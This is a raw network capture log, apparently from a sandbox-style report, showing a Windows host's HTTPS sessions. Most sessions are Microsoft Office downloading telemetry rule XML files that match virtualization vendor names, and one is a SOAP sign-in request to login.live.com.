2024-11-07 22:47:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 0386ab83-901e-007b-1455-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-15869dbbcc6j87jfhC1DFWr0yc00000000w000000000kky9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 6a120a4b-401e-0078-724b-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-15869dbbcc6pfq2ghC1DFWmp14000000021g00000000aq69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-16547b76f7f76p6chC1DFWctqw00000008u000000000r9b0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 2d39f474-701e-0021-567c-303d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-17df447cdb54qlp6hC1DFWqcfc000000052g000000004yft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c0246727-501e-005b-7395-30d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-17df447cdb5zfhrmhC1DFWh330000000052g0000000015hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-16547b76f7fp6mhthC1DFWrggn00000008sg00000000y36p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:39 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-16547b76f7fp46ndhC1DFW66zg00000008s000000000pfqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:39 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-16547b76f7fknvdnhC1DFWxnys00000008q000000000ycqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:39 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-16547b76f7f2g4rlhC1DFWnx8800000008k000000000yv8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49835	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 22:47:39 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:39 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: 416d8c69-16a6-4e45-aefa-e3ae7653d79b PPServer: PPV: 30 H: SN1PEPF0002F15A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:39 GMT Connection: close Content-Length: 11412
2024-11-07 22:47:39 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-16547b76f7f4k79zhC1DFWu9y000000008s000000000qd9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
